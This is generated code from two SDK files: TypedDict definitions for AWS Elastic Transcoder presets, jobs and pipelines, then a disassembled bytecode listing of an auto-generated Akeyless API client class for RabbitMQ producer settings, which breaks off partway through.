NotRequired[str], "Container": NotRequired[str], "Audio": NotRequired[AudioParametersTypeDef], "Video": NotRequired[VideoParametersPaginatorTypeDef], "Thumbnails": NotRequired[ThumbnailsTypeDef], "Type": NotRequired[str], }, ) CreatePresetRequestRequestTypeDef = TypedDict( "CreatePresetRequestRequestTypeDef", { "Name": str, "Container": str, "Description": NotRequired[str], "Video": NotRequired[VideoParametersTypeDef], "Audio": NotRequired[AudioParametersTypeDef], "Thumbnails": NotRequired[ThumbnailsTypeDef], }, ) PresetTypeDef = TypedDict( "PresetTypeDef", { "Id": NotRequired[str], "Arn": NotRequired[str], "Name": NotRequired[str], "Description": NotRequired[str], "Container": NotRequired[str], "Audio": NotRequired[AudioParametersTypeDef], "Video": NotRequired[VideoParametersTypeDef], "Thumbnails": NotRequired[ThumbnailsTypeDef], "Type": NotRequired[str], }, ) JobOutputPaginatorTypeDef = TypedDict( "JobOutputPaginatorTypeDef", { "Id": NotRequired[str], "Key": NotRequired[str], "ThumbnailPattern": NotRequired[str], "ThumbnailEncryption": NotRequired[EncryptionTypeDef], "Rotate": NotRequired[str], "PresetId": NotRequired[str], "SegmentDuration": NotRequired[str], "Status": NotRequired[str], "StatusDetail": NotRequired[str], "Duration": NotRequired[int], "Width": NotRequired[int], "Height": NotRequired[int], "FrameRate": NotRequired[str], "FileSize": NotRequired[int], "DurationMillis": NotRequired[int], "Watermarks": NotRequired[List[JobWatermarkTypeDef]], "AlbumArt": NotRequired[JobAlbumArtPaginatorTypeDef], "Composition": NotRequired[List[ClipTypeDef]], "Captions": NotRequired[CaptionsPaginatorTypeDef], "Encryption": NotRequired[EncryptionTypeDef], "AppliedColorSpaceConversion": NotRequired[str], }, ) CreateJobOutputTypeDef = TypedDict( "CreateJobOutputTypeDef", { "Key": NotRequired[str], "ThumbnailPattern": NotRequired[str], "ThumbnailEncryption": NotRequired[EncryptionTypeDef], "Rotate": NotRequired[str], "PresetId": NotRequired[str], "SegmentDuration": NotRequired[str], "Watermarks": NotRequired[Sequence[JobWatermarkTypeDef]], "AlbumArt": NotRequired[JobAlbumArtTypeDef], "Composition": NotRequired[Sequence[ClipTypeDef]], "Captions": NotRequired[CaptionsTypeDef], "Encryption": NotRequired[EncryptionTypeDef], }, ) JobOutputTypeDef = TypedDict( "JobOutputTypeDef", { "Id": NotRequired[str], "Key": NotRequired[str], "ThumbnailPattern": NotRequired[str], "ThumbnailEncryption": NotRequired[EncryptionTypeDef], "Rotate": NotRequired[str], "PresetId": NotRequired[str], "SegmentDuration": NotRequired[str], "Status": NotRequired[str], "StatusDetail": NotRequired[str], "Duration": NotRequired[int], "Width": NotRequired[int], "Height": NotRequired[int], "FrameRate": NotRequired[str], "FileSize": NotRequired[int], "DurationMillis": NotRequired[int], "Watermarks": NotRequired[List[JobWatermarkTypeDef]], "AlbumArt": NotRequired[JobAlbumArtTypeDef], "Composition": NotRequired[List[ClipTypeDef]], "Captions": NotRequired[CaptionsTypeDef], "Encryption": NotRequired[EncryptionTypeDef], "AppliedColorSpaceConversion": NotRequired[str], }, ) JobInputPaginatorTypeDef = TypedDict( "JobInputPaginatorTypeDef", { "Key": NotRequired[str], "FrameRate": NotRequired[str], "Resolution": NotRequired[str], "AspectRatio": NotRequired[str], "Interlaced": NotRequired[str], "Container": NotRequired[str], "Encryption": NotRequired[EncryptionTypeDef], "TimeSpan": NotRequired[TimeSpanTypeDef], "InputCaptions": NotRequired[InputCaptionsPaginatorTypeDef], "DetectedProperties": NotRequired[DetectedPropertiesTypeDef], }, ) JobInputTypeDef = TypedDict( "JobInputTypeDef", { "Key": NotRequired[str], "FrameRate": NotRequired[str], "Resolution": NotRequired[str], "AspectRatio": NotRequired[str], "Interlaced": NotRequired[str], "Container": NotRequired[str], "Encryption": NotRequired[EncryptionTypeDef], "TimeSpan": NotRequired[TimeSpanTypeDef], "InputCaptions": NotRequired[InputCaptionsTypeDef], "DetectedProperties": NotRequired[DetectedPropertiesTypeDef], }, ) ListPipelinesResponsePaginatorTypeDef = TypedDict( "ListPipelinesResponsePaginatorTypeDef", { "Pipelines": List[PipelinePaginatorTypeDef], "NextPageToken": str, "ResponseMetadata": ResponseMetadataTypeDef, }, ) CreatePipelineResponseTypeDef = TypedDict( "CreatePipelineResponseTypeDef", { "Pipeline": PipelineTypeDef, "Warnings": List[WarningTypeDef], "ResponseMetadata": ResponseMetadataTypeDef, }, ) ListPipelinesResponseTypeDef = TypedDict( "ListPipelinesResponseTypeDef", { "Pipelines": List[PipelineTypeDef], "NextPageToken": str, "ResponseMetadata": ResponseMetadataTypeDef, }, ) ReadPipelineResponseTypeDef = TypedDict( "ReadPipelineResponseTypeDef", { "Pipeline": PipelineTypeDef, "Warnings": List[WarningTypeDef], "ResponseMetadata": ResponseMetadataTypeDef, }, ) UpdatePipelineNotificationsResponseTypeDef = TypedDict( "UpdatePipelineNotificationsResponseTypeDef", { "Pipeline": PipelineTypeDef, "ResponseMetadata": ResponseMetadataTypeDef, }, ) UpdatePipelineResponseTypeDef = TypedDict( "UpdatePipelineResponseTypeDef", { "Pipeline": PipelineTypeDef, "Warnings": List[WarningTypeDef], "ResponseMetadata": ResponseMetadataTypeDef, }, ) UpdatePipelineStatusResponseTypeDef = TypedDict( "UpdatePipelineStatusResponseTypeDef", { "Pipeline": PipelineTypeDef, "ResponseMetadata": ResponseMetadataTypeDef, }, ) ListPresetsResponsePaginatorTypeDef = TypedDict( "ListPresetsResponsePaginatorTypeDef", { "Presets": List[PresetPaginatorTypeDef], "NextPageToken": str, "ResponseMetadata": ResponseMetadataTypeDef, }, ) CreatePresetResponseTypeDef = TypedDict( "CreatePresetResponseTypeDef", { "Preset": PresetTypeDef, "Warning": str, "ResponseMetadata": ResponseMetadataTypeDef, }, ) ListPresetsResponseTypeDef = TypedDict( "ListPresetsResponseTypeDef", { "Presets": List[PresetTypeDef], "NextPageToken": str, "ResponseMetadata": ResponseMetadataTypeDef, }, ) ReadPresetResponseTypeDef = TypedDict( "ReadPresetResponseTypeDef", { "Preset": PresetTypeDef, "ResponseMetadata": ResponseMetadataTypeDef, }, ) JobPaginatorTypeDef = TypedDict( "JobPaginatorTypeDef", { "Id": NotRequired[str], "Arn": NotRequired[str], "PipelineId": NotRequired[str], "Input": NotRequired[JobInputPaginatorTypeDef], "Inputs": NotRequired[List[JobInputPaginatorTypeDef]], "Output": NotRequired[JobOutputPaginatorTypeDef], "Outputs": NotRequired[List[JobOutputPaginatorTypeDef]], "OutputKeyPrefix": NotRequired[str], "Playlists": NotRequired[List[PlaylistTypeDef]], "Status": NotRequired[str], "UserMetadata": NotRequired[Dict[str, str]], "Timing": NotRequired[TimingTypeDef], }, ) CreateJobRequestRequestTypeDef = TypedDict( "CreateJobRequestRequestTypeDef", { "PipelineId": str, "Input": NotRequired[JobInputTypeDef], "Inputs": NotRequired[Sequence[JobInputTypeDef]], "Output": NotRequired[CreateJobOutputTypeDef], "Outputs": NotRequired[Sequence[CreateJobOutputTypeDef]], "OutputKeyPrefix": NotRequired[str], "Playlists": NotRequired[Sequence[CreateJobPlaylistTypeDef]], "UserMetadata": NotRequired[Mapping[str, str]], }, ) JobTypeDef = TypedDict( "JobTypeDef", { "Id": NotRequired[str], "Arn": NotRequired[str], "PipelineId": NotRequired[str], "Input": NotRequired[JobInputTypeDef], "Inputs": NotRequired[List[JobInputTypeDef]], "Output": NotRequired[JobOutputTypeDef], "Outputs": NotRequired[List[JobOutputTypeDef]], "OutputKeyPrefix": NotRequired[str], "Playlists": NotRequired[List[PlaylistTypeDef]], "Status": NotRequired[str], "UserMetadata": NotRequired[Dict[str, str]], "Timing": NotRequired[TimingTypeDef], }, ) ListJobsByPipelineResponsePaginatorTypeDef = TypedDict( "ListJobsByPipelineResponsePaginatorTypeDef", { "Jobs": List[JobPaginatorTypeDef], "NextPageToken": str, "ResponseMetadata": ResponseMetadataTypeDef, }, ) ListJobsByStatusResponsePaginatorTypeDef = TypedDict( "ListJobsByStatusResponsePaginatorTypeDef", { "Jobs": List[JobPaginatorTypeDef], "NextPageToken": str, "ResponseMetadata": ResponseMetadataTypeDef, }, ) CreateJobResponseTypeDef = TypedDict( "CreateJobResponseTypeDef", { "Job": JobTypeDef, "ResponseMetadata": ResponseMetadataTypeDef, }, ) ListJobsByPipelineResponseTypeDef = TypedDict( "ListJobsByPipelineResponseTypeDef", { "Jobs": List[JobTypeDef], "NextPageToken": str, "ResponseMetadata": ResponseMetadataTypeDef, }, ) ListJobsByStatusResponseTypeDef = TypedDict( "ListJobsByStatusResponseTypeDef", { "Jobs": List[JobTypeDef], "NextPageToken": str, "ResponseMetadata": ResponseMetadataTypeDef, }, ) ReadJobResponseTypeDef = TypedDict( "ReadJobResponseTypeDef", { "Job": JobTypeDef, "ResponseMetadata": ResponseMetadataTypeDef, }, )
data/mypy-boto3-elastictranscoder-1.34.0/mypy_boto3_elastictranscoder/type_defs.py
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LOAD_CONST '\n Akeyless API\n\n The purpose of this application is to provide access to Akeyless API. # noqa: E501\n\n The version of the OpenAPI document: 2.0\n Contact: [email protected]\n Generated by: https://openapi-generator.tech\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pprint STORE_NAME pprint LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST None IMPORT_NAME six STORE_NAME six LOAD_CONST 0 LOAD_CONST ('Configuration',) IMPORT_NAME akeyless.configuration IMPORT_FROM Configuration STORE_NAME Configuration POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object GatewayUpdateProducerRabbitMQ at 0x7fab41686810, file "f.py", line 20> LOAD_CONST 'GatewayUpdateProducerRabbitMQ' MAKE_FUNCTION LOAD_CONST 'GatewayUpdateProducerRabbitMQ' LOAD_NAME object CALL_FUNCTION STORE_NAME GatewayUpdateProducerRabbitMQ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GatewayUpdateProducerRabbitMQ' STORE_NAME __qualname__ LOAD_CONST 'NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n ' STORE_NAME __doc__ LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST 'bool' LOAD_CONST 'bool' LOAD_CONST 'list[str]' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST ('delete_protection', 'json', 'name', 'new_name', 'producer_encryption_key_name', 'rabbitmq_admin_pwd', 'rabbitmq_admin_user', 'rabbitmq_server_uri', 'rabbitmq_user_conf_permission', 'rabbitmq_user_read_permission', 'rabbitmq_user_tags', 'rabbitmq_user_vhost', 'rabbitmq_user_write_permission', 'secure_access_enable', 'secure_access_url', 'secure_access_web', 'secure_access_web_browsing', 'secure_access_web_proxy', 'tags', 'target_name', 'token', 'uid_token', 'user_ttl') BUILD_CONST_KEY_MAP STORE_NAME openapi_types LOAD_CONST 'delete_protection' LOAD_CONST 'json' LOAD_CONST 'name' LOAD_CONST 'new-name' LOAD_CONST 'producer-encryption-key-name' LOAD_CONST 'rabbitmq-admin-pwd' LOAD_CONST 'rabbitmq-admin-user' LOAD_CONST 'rabbitmq-server-uri' LOAD_CONST 'rabbitmq-user-conf-permission' LOAD_CONST 'rabbitmq-user-read-permission' LOAD_CONST 'rabbitmq-user-tags' LOAD_CONST 'rabbitmq-user-vhost' LOAD_CONST 'rabbitmq-user-write-permission' LOAD_CONST 'secure-access-enable' LOAD_CONST 'secure-access-url' LOAD_CONST 'secure-access-web' LOAD_CONST 'secure-access-web-browsing' LOAD_CONST 'secure-access-web-proxy' LOAD_CONST 'tags' LOAD_CONST 'target-name' LOAD_CONST 'token' LOAD_CONST 'uid-token' LOAD_CONST 'user-ttl' LOAD_CONST ('delete_protection', 'json', 'name', 'new_name', 'producer_encryption_key_name', 'rabbitmq_admin_pwd', 'rabbitmq_admin_user', 'rabbitmq_server_uri', 'rabbitmq_user_conf_permission', 'rabbitmq_user_read_permission', 'rabbitmq_user_tags', 'rabbitmq_user_vhost', 'rabbitmq_user_write_permission', 'secure_access_enable', 'secure_access_url', 'secure_access_web', 'secure_access_web_browsing', 'secure_access_web_proxy', 'tags', 'target_name', 'token', 'uid_token', 'user_ttl') BUILD_CONST_KEY_MAP STORE_NAME attribute_map LOAD_CONST (None, False, None, None, None, None, None, None, None, None, None, None, None, None, None, True, False, False, None, None, None, None, '60m', None) LOAD_CONST <code object __init__ at 0x7fab81f37030, file "f.py", line 86> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object delete_protection at 0x7fab823989c0, file "f.py", line 189> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.delete_protection' MAKE_FUNCTION CALL_FUNCTION STORE_NAME delete_protection LOAD_NAME delete_protection LOAD_ATTR setter LOAD_CONST <code object delete_protection at 0x7fab82398e40, file "f.py", line 200> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.delete_protection' MAKE_FUNCTION CALL_FUNCTION STORE_NAME delete_protection LOAD_NAME property LOAD_CONST <code object json at 0x7fab427a68a0, file "f.py", line 212> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.json' MAKE_FUNCTION CALL_FUNCTION STORE_NAME json LOAD_NAME json LOAD_ATTR setter LOAD_CONST <code object json at 0x7fab427a6150, file "f.py", line 223> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.json' MAKE_FUNCTION CALL_FUNCTION STORE_NAME json LOAD_NAME property LOAD_CONST <code object name at 0x7fab427a6a50, file "f.py", line 235> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME name LOAD_ATTR setter LOAD_CONST <code object name at 0x7fab427a64b0, file "f.py", line 246> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_CONST <code object new_name at 0x7fab427a6b70, file "f.py", line 264> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.new_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME new_name LOAD_NAME new_name LOAD_ATTR setter LOAD_CONST <code object new_name at 0x7fab427a6e40, file "f.py", line 275> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.new_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME new_name LOAD_NAME property LOAD_CONST <code object producer_encryption_key_name at 0x7fab427a6270, file "f.py", line 287> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.producer_encryption_key_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME producer_encryption_key_name LOAD_NAME producer_encryption_key_name LOAD_ATTR setter LOAD_CONST <code object producer_encryption_key_name at 0x7fab427a69c0, file "f.py", line 298> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.producer_encryption_key_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME producer_encryption_key_name LOAD_NAME property LOAD_CONST <code object rabbitmq_admin_pwd at 0x7fab427a6d20, file "f.py", line 310> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_admin_pwd' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_admin_pwd LOAD_NAME rabbitmq_admin_pwd LOAD_ATTR setter LOAD_CONST <code object rabbitmq_admin_pwd at 0x7fab427a6f60, file "f.py", line 321> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_admin_pwd' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_admin_pwd LOAD_NAME property LOAD_CONST <code object rabbitmq_admin_user at 0x7fab8000fd20, file "f.py", line 333> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_admin_user' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_admin_user LOAD_NAME rabbitmq_admin_user LOAD_ATTR setter LOAD_CONST <code object rabbitmq_admin_user at 0x7fab8000fa50, file "f.py", line 344> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_admin_user' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_admin_user LOAD_NAME property LOAD_CONST <code object rabbitmq_server_uri at 0x7fab8000f390, file "f.py", line 356> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_server_uri' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_server_uri LOAD_NAME rabbitmq_server_uri LOAD_ATTR setter LOAD_CONST <code object rabbitmq_server_uri at 0x7fab8000f030, file "f.py", line 367> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_server_uri' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_server_uri LOAD_NAME property LOAD_CONST <code object rabbitmq_user_conf_permission at 0x7fab8000fed0, file "f.py", line 379> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_conf_permission' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_conf_permission LOAD_NAME rabbitmq_user_conf_permission LOAD_ATTR setter LOAD_CONST <code object rabbitmq_user_conf_permission at 0x7fab8000f0c0, file "f.py", line 390> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_conf_permission' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_conf_permission LOAD_NAME property LOAD_CONST <code object rabbitmq_user_read_permission at 0x7fab8000f4b0, file "f.py", line 402> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_read_permission' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_read_permission LOAD_NAME rabbitmq_user_read_permission LOAD_ATTR setter LOAD_CONST <code object rabbitmq_user_read_permission at 0x7fab41751420, file "f.py", line 413> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_read_permission' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_read_permission LOAD_NAME property LOAD_CONST <code object rabbitmq_user_tags at 0x7fab41751930, file "f.py", line 425> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_tags LOAD_NAME rabbitmq_user_tags LOAD_ATTR setter LOAD_CONST <code object rabbitmq_user_tags at 0x7fab417514b0, file "f.py", line 436> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_tags LOAD_NAME property LOAD_CONST <code object rabbitmq_user_vhost at 0x7fab41751660, file "f.py", line 448> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_vhost' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_vhost LOAD_NAME rabbitmq_user_vhost LOAD_ATTR setter LOAD_CONST <code object rabbitmq_user_vhost at 0x7fab417519c0, file "f.py", line 459> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_vhost' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_vhost LOAD_NAME property LOAD_CONST <code object rabbitmq_user_write_permission at 0x7fab417515d0, file "f.py", line 471> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_write_permission' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_write_permission LOAD_NAME rabbitmq_user_write_permission LOAD_ATTR setter LOAD_CONST <code object rabbitmq_user_write_permission at 0x7fab41751f60, file "f.py", line 482> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.rabbitmq_user_write_permission' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rabbitmq_user_write_permission LOAD_NAME property LOAD_CONST <code object secure_access_enable at 0x7fab41751270, file "f.py", line 494> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_enable' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_enable LOAD_NAME secure_access_enable LOAD_ATTR setter LOAD_CONST <code object secure_access_enable at 0x7fab41751150, file "f.py", line 505> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_enable' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_enable LOAD_NAME property LOAD_CONST <code object secure_access_url at 0x7fab42231d20, file "f.py", line 517> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_url' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_url LOAD_NAME secure_access_url LOAD_ATTR setter LOAD_CONST <code object secure_access_url at 0x7fab42231270, file "f.py", line 528> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_url' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_url LOAD_NAME property LOAD_CONST <code object secure_access_web at 0x7fab42231810, file "f.py", line 540> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_web' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web LOAD_NAME secure_access_web LOAD_ATTR setter LOAD_CONST <code object secure_access_web at 0x7fab422316f0, file "f.py", line 551> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_web' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web LOAD_NAME property LOAD_CONST <code object secure_access_web_browsing at 0x7fab42231420, file "f.py", line 563> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_web_browsing' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web_browsing LOAD_NAME secure_access_web_browsing LOAD_ATTR setter LOAD_CONST <code object secure_access_web_browsing at 0x7fab422318a0, file "f.py", line 574> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_web_browsing' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web_browsing LOAD_NAME property LOAD_CONST <code object secure_access_web_proxy at 0x7fab42231150, file "f.py", line 586> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_web_proxy' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web_proxy LOAD_NAME secure_access_web_proxy LOAD_ATTR setter LOAD_CONST <code object secure_access_web_proxy at 0x7fab42231030, file "f.py", line 597> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.secure_access_web_proxy' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secure_access_web_proxy LOAD_NAME property LOAD_CONST <code object tags at 0x7fab42231300, file "f.py", line 609> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME tags LOAD_ATTR setter LOAD_CONST <code object tags at 0x7fab422319c0, file "f.py", line 620> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME property LOAD_CONST <code object target_name at 0x7fab422311e0, file "f.py", line 632> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.target_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME target_name LOAD_NAME target_name LOAD_ATTR setter LOAD_CONST <code object target_name at 0x7fab416866f0, file "f.py", line 643> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.target_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME target_name LOAD_NAME property LOAD_CONST <code object token at 0x7fab41686c90, file "f.py", line 655> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.token' MAKE_FUNCTION CALL_FUNCTION STORE_NAME token LOAD_NAME token LOAD_ATTR setter LOAD_CONST <code object token at 0x7fab416864b0, file "f.py", line 666> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.token' MAKE_FUNCTION CALL_FUNCTION STORE_NAME token LOAD_NAME property LOAD_CONST <code object uid_token at 0x7fab41686660, file "f.py", line 678> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.uid_token' MAKE_FUNCTION CALL_FUNCTION STORE_NAME uid_token LOAD_NAME uid_token LOAD_ATTR setter LOAD_CONST <code object uid_token at 0x7fab41686f60, file "f.py", line 689> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.uid_token' MAKE_FUNCTION CALL_FUNCTION STORE_NAME uid_token LOAD_NAME property LOAD_CONST <code object user_ttl at 0x7fab41686e40, file "f.py", line 701> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.user_ttl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_ttl LOAD_NAME user_ttl LOAD_ATTR setter LOAD_CONST <code object user_ttl at 0x7fab41686b70, file "f.py", line 712> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.user_ttl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME user_ttl LOAD_CONST <code object to_dict at 0x7fab41686db0, file "f.py", line 724> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.to_dict' MAKE_FUNCTION STORE_NAME to_dict LOAD_CONST <code object to_str at 0x7fab416869c0, file "f.py", line 752> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.to_str' MAKE_FUNCTION STORE_NAME to_str LOAD_CONST <code object __repr__ at 0x7fab41686c00, file "f.py", line 756> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CONST <code object __eq__ at 0x7fab41686390, file "f.py", line 760> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.__eq__' MAKE_FUNCTION STORE_NAME __eq__ LOAD_CONST <code object __ne__ at 0x7fab416865d0, file "f.py", line 767> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.__ne__' MAKE_FUNCTION STORE_NAME __ne__ LOAD_CONST None RETURN_VALUE LOAD_FAST local_vars_configuration LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL Configuration CALL_FUNCTION STORE_FAST local_vars_configuration LOAD_FAST local_vars_configuration LOAD_FAST self STORE_ATTR local_vars_configuration LOAD_CONST None LOAD_FAST self STORE_ATTR _delete_protection LOAD_CONST None LOAD_FAST self STORE_ATTR _json LOAD_CONST None LOAD_FAST self STORE_ATTR _name LOAD_CONST None LOAD_FAST self STORE_ATTR _new_name LOAD_CONST None LOAD_FAST self STORE_ATTR _producer_encryption_key_name LOAD_CONST None LOAD_FAST self STORE_ATTR _rabbitmq_admin_pwd LOAD_CONST None LOAD_FAST self STORE_ATTR _rabbitmq_admin_user LOAD_CONST None LOAD_FAST self STORE_ATTR _rabbitmq_server_uri LOAD_CONST None LOAD_FAST self STORE_ATTR _rabbitmq_user_conf_permission LOAD_CONST None LOAD_FAST self STORE_ATTR _rabbitmq_user_read_permission LOAD_CONST None LOAD_FAST self STORE_ATTR _rabbitmq_user_tags LOAD_CONST None LOAD_FAST self STORE_ATTR _rabbitmq_user_vhost LOAD_CONST None LOAD_FAST self STORE_ATTR _rabbitmq_user_write_permission LOAD_CONST None LOAD_FAST self STORE_ATTR _secure_access_enable LOAD_CONST None LOAD_FAST self STORE_ATTR _secure_access_url LOAD_CONST None LOAD_FAST self STORE_ATTR _secure_access_web LOAD_CONST None LOAD_FAST self STORE_ATTR _secure_access_web_browsing LOAD_CONST None LOAD_FAST self STORE_ATTR _secure_access_web_proxy LOAD_CONST None LOAD_FAST self STORE_ATTR _tags LOAD_CONST None LOAD_FAST self STORE_ATTR _target_name LOAD_CONST None LOAD_FAST self STORE_ATTR _token LOAD_CONST None LOAD_FAST self STORE_ATTR _uid_token LOAD_CONST None LOAD_FAST self STORE_ATTR _user_ttl LOAD_CONST None LOAD_FAST self STORE_ATTR discriminator LOAD_FAST delete_protection LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST delete_protection LOAD_FAST self STORE_ATTR delete_protection LOAD_FAST json LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST json LOAD_FAST self STORE_ATTR json LOAD_FAST name LOAD_FAST self STORE_ATTR name LOAD_FAST new_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST new_name LOAD_FAST self STORE_ATTR new_name LOAD_FAST producer_encryption_key_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST producer_encryption_key_name LOAD_FAST self STORE_ATTR producer_encryption_key_name LOAD_FAST rabbitmq_admin_pwd LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST rabbitmq_admin_pwd LOAD_FAST self STORE_ATTR rabbitmq_admin_pwd LOAD_FAST rabbitmq_admin_user LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST rabbitmq_admin_user LOAD_FAST self STORE_ATTR rabbitmq_admin_user LOAD_FAST rabbitmq_server_uri LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rabbitmq_server_uri LOAD_FAST self STORE_ATTR rabbitmq_server_uri LOAD_FAST rabbitmq_user_conf_permission LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rabbitmq_user_conf_permission LOAD_FAST self STORE_ATTR rabbitmq_user_conf_permission LOAD_FAST rabbitmq_user_read_permission LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rabbitmq_user_read_permission LOAD_FAST self STORE_ATTR rabbitmq_user_read_permission LOAD_FAST rabbitmq_user_tags LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST 